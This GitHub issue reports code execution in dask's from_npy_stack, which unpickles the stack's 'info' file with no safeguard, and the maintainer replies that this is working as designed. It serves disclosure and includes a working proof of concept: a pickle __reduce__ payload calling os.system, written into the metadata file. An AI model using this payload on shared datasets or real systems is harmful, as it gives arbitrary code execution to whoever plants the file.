Skip to content

dask from_npy_stack RCE via Ungated pickle.load on the .npy Stack info Metadata File #12578

Closed

Description

@ez-lbz

dask from_npy_stack RCE via Ungated pickle.load on the .npy Stack info Metadata File

Affected Component

  • Package: dask (dask-org); Module: dask/array/core.py
  • Public API: dask.array.from_npy_stack(dirname, mmap_mode="r") — entry array/core.py:6133, sink :6140; documented counterpart of dask.array.to_npy_stack

Affected Versions

  • Dynamic verification on dask 2026.8.0 (latest, Python 3.10, stack format produced by the same version). Sink present since the API's introduction — ≤2026.8.0.

Summary

to_npy_stack/from_npy_stack is the documented on-disk array stack format: a directory of 0.npy, 1.npy, ... chunks plus a single info metadata file. The loader deserializes that metadata file with a bare pickle.load. The stack directory is an explicitly shareable dataset format (copy/ship the directory), and mmap_mode only selects memory mapping. No parameter of the call, no dask config key, and no environment variable can block the deserialization — anyone who can supply or tamper a stack directory executes arbitrary code on every worker that reads it. Raw pickle.load is unaffected by TORCH_FORCE_WEIGHTS_ONLY_LOAD.

Vulnerable Code

# dask/array/core.py
def from_npy_stack(dirname, mmap_mode="r"):
    ...
    with open(filename) as f:                    # filename = join(dirname, "info")
        info = pickle.load(f)                    # :6140  RCE sink

Proof of Concept

# dask from_npy_stack RCE — payload executes while unpickling the info file
import os, pickle
import numpy as np
import dask.array as da

# 1. build a legitimate stack with the documented saver
da.to_npy_stack('/tmp/npy_stack',
                da.from_array(np.arange(24).reshape((4, 6)), chunks=(2, 6)))

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/PWNED_dask',))

# 2. attacker tampers the metadata member; victim reloads below
with open('/tmp/npy_stack/info', 'wb') as f:
    pickle.dump(Exploit(), f)
r = da.from_npy_stack('/tmp/npy_stack')     # documented reload; mmap_mode is not a switch

Observed Result

dask 2026.8.0, Python 3.10, Linux: stack files ['0.npy', '1.npy', 'info']; after load, TypeError: 'int' object is not subscriptable from the info["chunks"]-style subscripting — deserialization (and the payload) runs before any type validation.

Fix

None. No dask parameter, config key (dask.config), or environment variable gates this load.

Activity

  1. added
    needs triage
    on Aug 30, 2026
  2. TomAugspurger commented on Sep 25, 2026

    @TomAugspurger
    Member

    I this is working as designed. If you're interested, we'd take a documentation PR similar to pickle's, stating that from_npy_stack doesn't provide any security promises and shouldn't be used on untrusted input.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    needs triage

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions